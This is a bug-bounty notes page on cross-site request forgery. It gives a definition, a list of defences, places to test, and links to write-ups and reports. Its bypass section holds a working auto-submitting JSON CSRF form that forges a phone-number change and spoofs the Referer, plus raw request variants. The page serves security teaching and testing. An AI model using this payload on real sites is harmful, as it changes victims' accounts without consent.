Sec-88
  • 🧑Whoami
  • 🕸️Web-AppSec
    • Features Abuse
      • 2FA
      • Ban Feature
      • CAPTCHA
      • Commenting
      • Contact us
      • File-Upload
      • Inviting Feature
      • Messaging Features
      • Money-Related Features
      • Newsletter
      • Profile - Settings
      • Registration
      • Reset Password
      • Review
      • Rich Editor/Text
      • Social Sharing
      • Billing-Shipping Address Management
      • Integrations - Webhooks
      • API Key Management
    • Reconnaissance
      • Attacking Organizations with big scopes
    • Subdomain Enumeration
    • Fingerprinting
    • Dorking
    • XSS-HTML Injection
    • Improper Authentication
      • JWT Security
    • OAUTH Misconfigurations
      • OAuth 2.0 Basics
      • OAUTH Misconfigurations
    • Auth0 Misconfigurations
    • Broken Access Control
      • Insecure Direct Object References (IDOR)
      • 403 Bypass
    • Broken Link Injection
    • Command Injection
    • CORS
    • CRLF
    • CSRF
    • Host Header Attacks
    • HTTP request smuggling
    • JSON Request Testing
    • LFI
      • LFI to RCE
    • No Rate Limit
    • Parameters Manual Testing
    • Open Redirect
    • Registration & Takeover Bugs
    • Remote Code Execution (RCE)
    • Session Fixation
    • SQL Injection
      • SQL To RCE
    • SSRF
    • SSTI
    • Subdomain Takeover
    • Web Caching Vulnerabilities
    • WebSockets
    • XXE
      • XXE to RCE
    • Cookie Based Attacks
    • CMS
      • AEM [Adobe CMS]
    • XSSI (Cross Site Script Inclusion)
    • NoSQL injection
    • Local VS Remote Session Fixation
    • Protection
      • Security Mechanisms for Websites
      • Cookie Flags
      • SameSite Cookie Restrictions
      • Same-origin policy (SOP)
      • CSP
    • Hacking IIS Applications
    • Dependency Confusion
    • Attacking Secondary Context
    • Hacking Web Sockets
    • IDN Homograph Attack
    • DNS Rebinding Attack
    • LLM Hacking Checklist
    • Bypass URL Filtration
    • Cross-Site Path Traversal (CSPT)
    • PostMessage Security
    • Prototype Pollution
      • Client-Side Prototype Pollution
      • Server-Side prototype pollution
    • Tools-Extensions-Bookmarks
    • WAF Bypassing Techniques
    • SSL/TLS Certificate Lifecycle
    • Serialization in .NET
    • Client-Side Attacks
      • JavaScript Analysis
    • Bug Bounty Platforms/Programs
  • ✉️API-Sec
    • GraphQL API Security Testing
      • The Basics
      • GraphQL Communication
      • Setting Up a Vulnerable GraphQL Server
      • GraphQL Hacking Tools
      • GraphQL Attack Surface
      • RECONNAISSANCE
      • GraphQL DOS
      • Information Disclosure
      • AUTHENTICATION AND AUTHORIZATION BYPASSES
      • Injection Vulnerabilities in GraphQL
      • REQUEST FORGERY AND HIJACKING
      • VULNERABILITIES, REPORTS AND EXPLOITS
      • GraphQL Hacking Checklist
    • API Recon
    • API Token Attacks
    • Broken Object Level Authorization (BOLA)
    • Broken Authentication
    • Evasive Maneuvers
    • Improper Assets Management
    • Mass Assignment Attacks
    • SSRF
    • Injection Vulnerabilities
    • Excessive Data Exposure
    • OWASP API TOP 10 MindMap
    • Scanning APIs with OWASP ZAP
  • 📱Android-AppSec
    • Setup Android App Pentesting environment on Arch
    • Setup Android App Pentesting environment on Mac M4
    • Setup Android Pentesting Environment on Debian Linux
    • Android App Fundamentals
      • Android Architecture
      • Android Security Model
      • Android App Components
        • Intents
        • Pending Intents
    • Android App Components Security Cheatsheet
    • Android App Pentesting Checklist
    • How To Get APK file for application
    • ADB Commands
    • APK structure
    • Android Permissions
    • Exported Activity Hacking
    • BroadcastReceiver Hacking
    • Content Provider Hacking
    • Signing the APK
    • Reverse Engineering APK
    • Deep Links Hacking
    • Drozer Cheat Sheet
    • SMALI
      • SMALI Cheat Sheet
      • Smali Code Patching Guide
    • Intent Redirection Vulnerability
    • Janus Vulnerability (CVE-2017-13156)
    • Task Hijacking
    • Hacking Labs
      • Injured Android
      • Hacking the VulnWebView Lab
      • Hacking InsecureBankv2 App
    • Frida Cheat Sheet
  • 📶Network-Sec
    • Networking Fundamentals
    • Open Ports Security Testing
    • Vulnerability Scanning
    • Client Side Attacks
    • Port Redirection and Tunneling
    • Password Attacks
    • Privilege Escalation [PrevEsc]
      • Linux Privilege Escalation
    • Buffer Overflow (BOF)
      • VulnServer
      • Sync Breez Enterprize
      • Crashed CTF
      • BOF for Linux
    • AV Evasion
    • Post Exploitation
      • File Transfer
      • Maintaining Access
      • Pivoting
      • Clean Up
    • Active Directory
      • Basic AD Pentesting
  • 💻Desktop AppSec
    • Thin Client vs. Thick Client
  • ☁️Cloud Sec
    • Salesforce Hacking
      • Basics
      • Salesforce SAAS Apps Hacking
    • Firebase
    • S3 Buckets Misconfigurations
  • 👨‍💻Programming
    • HTML
    • JavaScript (JS)
      • window.location object
    • Python
      • Python Tips
      • Set
        • SetMethods
    • JAVA
      • Java Essentials
      • Java Essentials Code Notes
      • Java OOP1
      • JAVA OOP Principles
        • Inheritance
        • Method Overriding
        • Abstract Class
        • Interface
        • polymorphism
        • Encapsulation
        • Composition
      • Java OOP Challenges
      • Exception Handling
    • Go
      • Go Syntax Tutorial in one file
      • Methods and Interfaces
      • Go Slices
      • Go Maps
      • Go Functions
      • Concurrency
      • Read Files
      • Write Files
      • Package
        • How to make personal Package
        • regexp Packages
        • Json
        • bufio
        • Time
      • Signals-Exit
      • Unit Testing
  • 🖥️Operating Systems
    • Linux
      • Linux Commands
      • Tools
      • Linux File System
      • Bash Scripting guide
      • tmux
      • Git
      • Install Go tools from private repositories using GitHub PAT
    • VPS
    • Burp Suite
  • ✍️Write-Ups
    • Hunting Methodology
    • API BAC leads to PII Data Disclosure
    • Misconfigured OATUH leads to Pre-Account Takeover
    • Automating Bug Bounty with GitHub Actions
    • From Recon to Reward: My Bug Bounty Methodology when Hunting on Public Bug Bounty Programs
    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
Powered by GitBook
On this page
  • What it is ??
  • Methodology
  • CSRF Common Defenses
  • CSRF Bypasses
  • Slides
  • Where To Find
  • Write-ups
  • Reports

Was this helpful?

Edit on GitHub
  1. Web-AppSec

CSRF

CWE-352: Cross-Site Request Forgery (CSRF)

PreviousCRLFNextHost Header Attacks

Last updated 5 months ago

Was this helpful?

What it is ??

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Methodology

image

CSRF Common Defenses

  1. CSRF Tokens

  2. SameSite Cookie

  3. Json Content-Type

  4. Requiring Re-authentication for Sensitive Actions

  5. Double Submit Cookie Pattern

  6. Origin and Referer Header Validation

  7. Captchas

  8. Custom Request Headers

CSRF Bypasses

<html>
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
    <input type="hidden"
    name= '{"phone":"01111111118","a":"' value='"}'>
    </form>
    <script>
      history.pushState("", "", "/anything@account.example.com")
      document.forms[0].submit();
    </script>
  </body>
</html>

------------------------------
# Request
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: https://evil.com/test@example.com

{"phone":"01111111118","a":""}
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/json

{"phone":"01111111118","a":""}
--------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/x-www-form-urlencoded

phone=01111111118
-----------------------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: plain/text

phone=01111111118

Slides

Where To Find

  1. Authentication-Required Actions: Look for actions that require authentication, such as changing account settings, updating passwords, or making transactions. These are common areas where CSRF vulnerabilities can have significant impact.

  2. User Profile Changes: Check for actions related to user profile changes, such as updating email addresses, changing personal information, or modifying profile pictures.

  3. Account Deletion or Suspension: Actions that allow a user to delete or suspend their account could be targets for CSRF attacks.

  4. Payment and Transactional Actions: Look for payment-related actions like making transactions, adding payment methods, or modifying subscription plans.

  5. Form Submissions: Any action that involves form submissions could potentially be a target. This includes actions like submitting support tickets, submitting feedback, or submitting any kind of content.

  6. CSRF Tokens: Some applications use CSRF tokens as a mitigation technique. Look for instances where CSRF tokens are missing or improperly validated. You might find CSRF tokens in hidden fields within HTML forms or as headers in AJAX requests.

  7. Third-Party Integrations: If the application integrates with third-party services or APIs, check if these integrations are susceptible to CSRF attacks.

  8. Changing Security Settings: Actions related to changing security settings, like enabling two-factor authentication (2FA) or changing security questions, can also be targets.

  9. Privilege Escalation: Actions that involve escalating user privileges, such as changing a user's role or permissions, should be thoroughly tested for CSRF vulnerabilities.

  10. Logging Out: Even the logout functionality can be exploited through CSRF attacks, forcing a victim to unknowingly log out.

  11. Password Reset: If the password reset process doesn't include proper CSRF protections, an attacker could potentially change a user's password without their consent.

  12. test login, logout, reset pass, change password, add-cart, like, comment, profile change, user details change, balance transfer, subscription, etc

Write-ups

Reports

to Shopify - 287 upvotes, $500

to Rockstar Games - 227 upvotes, $1000

to Twitter - 204 upvotes, $1540

to InnoGames - 186 upvotes, $1100

to Glassdoor - 152 upvotes, $3000

to Imgur - 141 upvotes, $500

to GitHub - 138 upvotes, $10000

to HackerOne - 134 upvotes, $2500

to Grammarly - 129 upvotes, $750

to Stripe - 105 upvotes, $2500

to Khan Academy - 101 upvotes, $0

to Rockstar Games - 98 upvotes, $1000

to WordPress - 94 upvotes, $950

to Logitech - 85 upvotes, $200

to Flickr - 82 upvotes, $750

to Discourse - 81 upvotes, $512

to Stripe - 80 upvotes, $2500

to Twitter - 79 upvotes, $5040

to TikTok - 78 upvotes, $2373

🕸️
How a simple CSRF attack turned into a P1
How I exploited the json csrf with method override technique
How I found CSRF(my first bounty)
Exploiting websocket application wide XSS and CSRF
Site wide CSRF on popular program
Using CSRF I got weird account takeover
CSRF CSRF CSRF
Google Bugbounty CSRF in learndigital.withgoogle.com
CSRF token bypass [a tale of 2k bug]
2FA bypass via CSRF attack
Stored iframe injection CSRF account takeover
Instagram delete media CSRF
An inconsistent CSRF
Bypass CSRF with clickjacking worth 1250
Sitewide CSRF graphql
Account takeover using CSRF json based
CORS to CSRF attack
My first CSRF to account takeover
4x chained CSRFs chained for account takeover
CSRF on connecting Paypal as Payment Provider
Account Takeover using Linked Accounts due to lack of CSRF protection
Periscope android app deeplink leads to CSRF in follow action
Chaining Bugs: Leakage of CSRF token which leads to Stored XSS and Account Takeover (xs1.tribalwars.cash)
Site wide CSRF affecting both job seeker and Employer account on glassdoor.com
CSRF leads to a stored self xss
CSRF protection bypass in GitHub Enterprise management console
Slack integration setup lacks CSRF protection
Lack of CSRF header validation at https://g-mail.grammarly.com/profile
CSRF token validation system is disabled on Stripe Dashboard
Cross-Site Request Forgery (CSRF) vulnerability on API endpoint allows account takeovers
CSRF Vulnerability on https://signin.rockstargames.com/tpa/facebook/link/
CSRF to HTML Injection in Comments
One Click Account takeover using Ouath CSRF bypass by adding Null byte %00 in state parameter on www.streamlabs.com
CSRF in Account Deletion feature (https://www.flickr.com/account/delete)
Account takeover at https://try.discourse.org due to no CSRF protection in connecting Yahoo account
CSRF token validation system is disabled on Stripe Dashboard
[CRITICAL] Full account takeover using CSRF
CSRF Account Takeover
Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management | Sec-88
CSRF Bypass Using Domain Confusion Leads To ATOMedium
Logo
Logo
How I found my first Subdomain Takeover vulnerabilityMedium
SequenceDiagram.org - UML Sequence Diagram Online Tool
Full Diagram For Methods to Prevent CSRF Attacks
Logo
Logo
Usinf CSRF Tokens to Prevent CSRF Attacks